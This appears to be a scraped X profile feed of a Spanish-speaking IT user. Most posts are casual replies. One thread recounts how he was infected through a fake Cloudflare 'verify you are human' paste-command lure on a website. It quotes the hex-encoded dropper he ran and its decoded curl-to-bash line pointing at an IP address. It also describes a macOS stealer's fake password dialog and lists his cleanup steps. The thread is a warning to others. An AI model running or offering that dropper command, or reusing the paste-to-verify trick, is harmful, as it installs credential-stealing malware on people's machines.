emiliobrc

IT Network, "Comerciante?" , Emprendedor. Padre x4

[emiliobrc @emiliobrc]

Mi granito de arena.
Hoy no consigo gente de mis expectativas (gente de bien) para trabajar. Esos jóvenes hoy, son los hijos de la crisis del 2000.
En 20 años más, les cuento como serán los hijos de los hijos de la crisis del 2000.
Fin

[emiliobrc @emiliobrc]

@ryanvogel ping -t @ryanvogel

[emiliobrc @emiliobrc]

@franperez_fp $$$$ el problema que veo con grok-bot. Es que no podes medir "fácil" cuánto gastaste en ese objetivo

[emiliobrc @emiliobrc]

@afudev

[emiliobrc @emiliobrc]

@BancoGalicia @grok vose ayudas ?

[emiliobrc @emiliobrc]

@BancoGalicia No se de qué me hablas alguien me ayuda ?

[emiliobrc @emiliobrc]

@BancoGalicia Mira que voy a borrar el celu por vos !

[emiliobrc @emiliobrc]

@nicekate8888 Yo sigo con Hermes desde grok bot. Hay cosas que grok no se anima y vía A2A se las delega a Hermes (en quien confío más)

[emiliobrc @emiliobrc]

Nunca pegues en la Terminal nada que no puedas leer. Y recordá que un diálogo de password legítimo lo dibuja el SO, no un script.

¿Alguien más cayó? 🔍

[emiliobrc @emiliobrc]

@cmdeluzu acabo de entrar su web, me pedia un check humano y casi me como terrible virusss!! cuidado gente !!! no ejecuten eso ! Me parece que les secuestraron el CF

[emiliobrc @emiliobrc]

Remediación (hecha, verificada):
- Procesos Tutebu / osascript eliminados
- Binario, staging dir y ~/.hlpr borrados
- Cero persistencia: sin LaunchAgents, sin cron, sin at, perfiles limpios
- Llavero: 31 entradas, 0 creadas, 0 credenciales filtradas
- Payload purgado de ~/.zsh_history y ~/.zsh_sessions
- Sin extensiones de navegador inyectadas

[emiliobrc @emiliobrc]

El detalle bueno: macOS real nunca puede ser suplantado así. Un prompt de contraseña legítimo lo dibuja SecurityAgent, un proceso protegido del sistema — ni una web puede overlayarlo.
Tu diálogo era un osascript dibujado por el malware. El tell: decía "System Preferences" cuando macOS 27 dice "System Settings".

[emiliobrc @emiliobrc]

Qué hizo: descargó un binario (Tutebu, stealer para macOS, Mach-O universal, strings ofuscados) y lo ejecutó desacoplado (PPID 1).
- Recopiló modelo, serial, UDID, hardware UUID
- Montó un falso diálogo "System Preferences" con osascript ... with hidden answer para robar tu password de login
- Abrió una falsa página de Cloudflare con el truco del "Cmd+V para verificar"

[emiliobrc @emiliobrc]

Ejecuté un comando con un payload en hex. No parecía nada: echo '2f62696e...' | xxd -r -p | bash.
Al decodificarlo: /bin/bash -c "$(curl -fsSL http://85.11.161.57/Cocezo)"
Un dropper clásico. Y lo ejecuté. 🫠

[emiliobrc @emiliobrc]

@bot @bot que onda esto

[emiliobrc @emiliobrc]

@soydevlatam En ese orden

[emiliobrc @emiliobrc]

@toalvarez @lemonapp_ar Sigue este jack ?

[emiliobrc @emiliobrc]

@Cypher1984 Me gusta la idea, veremos si puedo !

[emiliobrc @emiliobrc]

@toalvarez @lemonapp_ar On-line

[emiliobrc @emiliobrc]

@Cypher1984 Si, tengo 2